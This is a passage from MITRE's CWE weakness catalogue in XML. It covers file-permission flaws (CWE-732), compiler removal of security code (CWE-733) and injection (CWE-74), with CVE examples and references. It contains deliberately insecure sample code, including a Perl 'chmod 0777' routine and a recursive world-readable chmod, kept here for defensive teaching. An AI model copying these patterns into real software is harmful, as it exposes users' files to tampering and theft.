							Simply setting the new user as the owner of the directory does not
							explicitly change the permissions of the directory, leaving it with the
							default. This default allows any user to read and write to the
							directory, allowing an attack on the user's files. The code also fails
							to change the owner group of the directory, which may result in access
							by unexpected groups.</Text>
						            <Text>This code may also be vulnerable to Path Traversal (CWE-22) attacks if
							an attacker supplies a non alphanumeric username.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code snippet might be used as a monitor to
						periodically record whether a web site is alive. To ensure that the file can
						always be modified, the code uses chmod() to make the file
						world-writable.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>$fileName = "secretFile.out";</Code>
							              <Code/>
							              <Code>if (-e $fileName) {</Code>
							              <Block>
								                <Code> chmod 0777, $fileName;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>my $outFH;</Code>
							              <Code>if (! open($outFH, "&gt;&gt;$fileName")) {</Code>
							              <Block>
								                <Code> ExitError("Couldn't append to $fileName: $!");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>my $dateString = FormatCurrentTime();</Code>
							              <Code>my $status = IsHostAlive("cwe.mitre.org");</Code>
							              <Code>print $outFH "$dateString cwe status: $status!\n";</Code>
							              <Code>close($outFH);</Code>
						            </Block>
						            <Text>The first time the program runs, it might create a new file that
							inherits the permissions from its environment. A file listing might look
							like:</Text>
						            <Block Block_Nature="Result">
							              <Code>-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out </Code>
						            </Block>
						            <Text>This listing might occur when the user has a default umask of 022,
							which is a common setting. Depending on the nature of the file, the user
							might not have intended to make it readable by everyone on the
							system.</Text>
						            <Text>The next time the program runs, however - and all subsequent
							executions - the chmod will set the file's permissions so that the
							owner, group, and world (all users) can read the file and write to
							it:</Text>
						            <Block Block_Nature="Result">
							              <Code>-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out </Code>
						            </Block>
						            <Text>Perhaps the programmer tried to do this because a different process
							uses different permissions that might prevent the file from being
							updated.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following command recursively sets world-readable permissions
						for a directory and all of its children:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Shell</Code_Example_Language>
							              <Code>chmod -R ugo+r DIRNAME</Code>
						            </Block>
						            <Text>If this command is run from a program, the person calling the program
							might not expect that all the files under the directory will be
							world-readable. If the directory is expected to contain private data,
							this could become a security problem. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3482</Observed_Example_Reference>
					          <Observed_Example_Description>Anti-virus product sets insecure "Everyone: Full
						Control" permissions for files under the "Program Files" folder, allowing
						attackers to replace executables with Trojan
						horses.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3897</Observed_Example_Reference>
					          <Observed_Example_Description>Product creates directories with 0777 permissions
						at installation, allowing users to gain privileges and access a socket used
						for authentication.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3489</Observed_Example_Reference>
					          <Observed_Example_Description>Photo editor installs a service with an insecure
						security descriptor, allowing users to stop or start the service, or execute
						commands as SYSTEM.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3289</Observed_Example_Reference>
					          <Observed_Example_Description>Library function copies a file to a new target and
						uses the source file's permissions for the target, which is incorrect when
						the source file is a symbolic link, which typically has 0777 permissions.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0115</Observed_Example_Reference>
					          <Observed_Example_Description>Device driver uses world-writable permissions for
						a socket file, allowing attackers to inject arbitrary
						commands.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1073</Observed_Example_Reference>
					          <Observed_Example_Description>LDAP server stores a cleartext password in a
						world-readable file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0141</Observed_Example_Reference>
					          <Observed_Example_Description>Terminal emulator creates TTY devices with
						world-writable permissions, allowing an attacker to write to the terminals
						of other users.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0662</Observed_Example_Reference>
					          <Observed_Example_Description>VPN product stores user credentials in a registry
						key with "Everyone: Full Control" permissions, allowing attackers to steal
						the credentials.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0322</Observed_Example_Reference>
					          <Observed_Example_Description>Driver installs its device interface with
						"Everyone: Write" permissions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3939</Observed_Example_Reference>
					          <Observed_Example_Description>Driver installs a file with world-writable
						permissions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3611</Observed_Example_Reference>
					          <Observed_Example_Description>Product changes permissions to 0777 before
						deleting a backup; the permissions stay insecure for subsequent
						backups.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-6033</Observed_Example_Reference>
					          <Observed_Example_Description>Product creates a share with "Everyone: Full
						Control" permissions, allowing arbitrary program
						execution.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5544</Observed_Example_Reference>
					          <Observed_Example_Description>Product uses "Everyone: Full Control" permissions
						for memory-mapped files (shared memory) in inter-process communication,
						allowing attackers to tamper with a session.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4868</Observed_Example_Reference>
					          <Observed_Example_Description>Database product uses read/write permissions for
						everyone for its shared memory, allowing theft of credentials.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1714</Observed_Example_Reference>
					          <Observed_Example_Description>Security product uses "Everyone: Full Control"
						permissions for its configuration files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0006</Observed_Example_Reference>
					          <Observed_Example_Description>"Everyone: Full Control" permissions assigned to a
						mutex allows users to disable network
						connectivity.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0969</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: database product contains buffer overflow
						that is only reachable through a .ini configuration file - which has
						"Everyone: Full Control" permissions.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.732.1">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "File Permissions." Page 495.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-9" Local_Reference_ID="R.732.2">
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Author>Gary McGraw</Reference_Author>
					          <Reference_Title>Building Secure Software: How to Avoid Security Problems the
						Right Way</Reference_Title>
					          <Reference_Section>Chapter 8, "Access Control." Page 194.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.732.3">
					          <Reference_Author>Jason Lam</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 21 - Incorrect Permission Assignment for
						Critical Response</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-24</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/24/top-25-series-–-rank-21-–-incorrect-permission-assignment-for-critical-response/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-24" Local_Reference_ID="R.732.4">
					          <Reference_Author>NIST</Reference_Author>
					          <Reference_Title>Federal Desktop Core Configuration</Reference_Title>
					          <Reference_Link>http://nvd.nist.gov/fdcc/index.cfm</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Create files with appropriate access
						permission</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not allow tainted variables in privileged
						blocks</Mapped_Node_Name>
					          <Mapped_Node_ID>SEC01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not grant dangerous combinations of
						permissions</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Create files with appropriate access
						permissions</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO06-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Create files with appropriate access
						permissions</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO06-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>232</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>1</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>122</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>127</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>17</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>180</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>234</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>60</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>61</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>62</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-09-08</Submission_Date>
					          <Submission_Comment>new weakness-focused entry for Research
						view.</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Description, Likelihood_of_Exploit, Name,
						Potential_Mitigations, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Detection_Factors, Modes_of_Introduction,
						Observed_Examples, Potential_Mitigations, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Detection_Factors,
						Potential_Mitigations, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Related_Attack_Patterns,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Insecure Permission
						Assignment for Resource</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Insecure Permission
						Assignment for Critical Resource</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="733" Name="Compiler Optimization Removal or Modification of Security-critical Code" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The developer builds a security-critical protection mechanism
					into the software but the compiler optimizes the program such that the mechanism
					is removed or modified.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>435</Relationship_Target_ID>
					          <!--Interaction Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>758</Relationship_Target_ID>
					          <!--Reliance on Undefined, Unspecified, or Implementation-Defined Behavior-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Often" Language_Name="C"/>
					          <Language Prevalence="Often" Language_Name="C++"/>
					          <Language_Class Language_Class_Description="All Compiled Languages"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>This specific weakness is impossible to detect using black box
							methods. While an analyst could examine memory to see that it has not
							been scrubbed, an analysis of the executable would not be successful.
							This is because the compiler has already removed the relevant code. Only
							the source code shows whether the programmer intended to clear the
							memory or not, so this weakness is indistinguishable from others.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>White Box</Method_Name>
					          <Method_Description>
						            <Text>This weakness is only detectable using white box methods (see black
							box detection factor). Careful analysis is required to determine if the
							code is likely to be removed by the compiler.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1685</Observed_Example_Reference>
					          <Observed_Example_Description>C compiler optimization, as allowed by
						specifications, removes code that is used to perform checks to detect
						integer overflows.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 9, "A Compiler Optimization Caveat" Page
						322</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>10</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>24</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>46</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>8</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>9</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-10-01</Submission_Date>
					          <Submission_Comment>new weakness-focused entry for Research view closes the gap
						between 14 and 435.</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Detection_Factors</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Observed_Examples,
						Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="74" Name="Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software constructs all or part of a command, data
					structure, or record using externally-influenced input from an upstream
					component, but it does not neutralize or incorrectly neutralizes special
					elements that could modify how it is parsed or interpreted when it is sent to a
					downstream component.</Description_Summary>
				        <Extended_Description>
					          <Text>Software has certain assumptions about what constitutes data and control
						respectively. It is the lack of verification of these assumptions for
						user-controlled input that leads to injection problems. Injection problems
						encompass a wide variety of issues -- all mitigated in very different ways
						and usually attempted in order to alter the control flow of the process. For
						this reason, the most effective way to discuss these weaknesses is to note
						the distinct features which classify them as injection weaknesses. The most
						important issue to note is that all injection problems share one thing in
						common -- i.e., they allow for the injection of control plane data into the
						user-controlled data plane. This means that the execution of the process may
						be altered by sending code in through legitimate data channels, using no
						other mechanism. While buffer overflows, and many other flaws, involve the
						use of some further issue to gain execution, injection problems need only
						for the data to be parsed. The most classic instantiations of this category
						of weakness are SQL injection and format string vulnerabilities.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>707</Relationship_Target_ID>
					          <!--Improper Enforcement of Message or Data Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>727</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A6 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>In the development view (CWE-699), this is classified as an Input
						Validation problem (CWE-20) because many people do not distinguish between
						the consequence/attack (injection) and the protection mechanism that
						prevents the attack from succeeding. In the research view (CWE-1000),
						however, input validation is only one potential protection mechanism (output
						encoding is another), and there is a chaining relationship between improper
						input validation and the improper enforcement of the structure of messages
						to other components. Other issues not directly related to input validation,
						such as race conditions, could similarly impact message structure.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Many injection attacks involve the disclosure of important information
							-- in terms of both data sensitivity and usefulness in further
							exploitation.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In some cases, injectable code controls authentication; this may lead
							to a remote vulnerability.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Injection attacks are characterized by the ability to significantly
							change the flow of a given process, and in some cases, to the execution
							of arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Data injection attacks lead to loss of data integrity in nearly all
							cases as the control-plane data injected is always incidental to data
							recall or writing.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Often the actions performed by injected control code are
							unlogged.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Programming languages and supporting
							technologies might be chosen which are not subject to these
							issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Utilize an appropriate mix of white-list and black-list parsing to
							filter control-plane syntax from all input.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Injection problem ('data' used as something
						else)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Injection Flaws</Mapped_Node_Name>
					          <Mapped_Node_ID>A6</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>10</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>101</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>106</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>108</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>13</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>135</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>14</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
